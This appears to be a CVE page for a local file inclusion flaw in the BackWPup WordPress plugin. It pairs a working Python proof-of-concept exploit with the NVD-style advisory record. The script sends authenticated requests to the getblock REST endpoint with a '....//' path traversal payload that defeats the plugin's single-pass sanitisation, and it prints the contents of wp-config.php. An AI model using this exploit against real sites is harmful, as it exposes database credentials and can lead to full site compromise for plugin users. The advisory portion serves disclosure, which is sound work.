CVE-2026-6227

# POC for CVE-2026-6227 import requests target_url = "http://example.com/wp-json/backwpup/v1/getblock" # Authenticated user cookies (Admin or Backup Manager role) cookies = { "wordpress_logged_in_hash": "cookie_value_here", "wordpress_sec_hash": "cookie_value_here" } # Bypass payload: ....// becomes ../ after one str_replace pass # Targeting wp-config.php located 3 directories up relative to the script context payload = { "block_name": "....//....//....//wp-config.php" } try: response = requests.get(target_url, params=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] Content of wp-config.php:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-6227", "sourceIdentifier": "[email protected]", "published": "2026-04-14T03:16:08.887", "lastModified": "2026-04-22T20:23:16.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BackWPup plugin for WordPress is vulnerable to Local File Inclusion via the `block_name` parameter of the `/wp-json/backwpup/v1/getblock` REST endpoint in all versions up to, and including, 5.6.6 due to a non-recursive `str_replace()` sanitization of path traversal sequences. This makes it possible for authenticated attackers, with Administrator-level access and above, to include arbitrary PHP files on the server via crafted traversal sequences (e.g., `....//`), which can be leveraged to read sensitive files such as `wp-config.php` or achieve remote code execution in certain configurations. Administrators have the ability to grant individual users permission to handle backups, which may then allow lower-level users to exploit this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/backwpup/tags/5.6.5/inc/Utils/BackWPupHelpers.php#L23", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/backwpup/tags/5.6.5/inc/Utils/BackWPupHelpers.php#L40", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/backwpup/tags/5.6.5/src/Frontend/API/Rest.php#L52", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/backwpup/trunk/inc/Utils/BackWPupHelpers.php#L23", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3490642%40backwpup%2Ftrunk&old=3475739%40backwpup%2Ftrunk&sfp_email=&sfph_mail=#file26", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/084e3f78-275b-4692-9cce-e17074f55cfb?source=cve", "source": "[email protected]"}]}}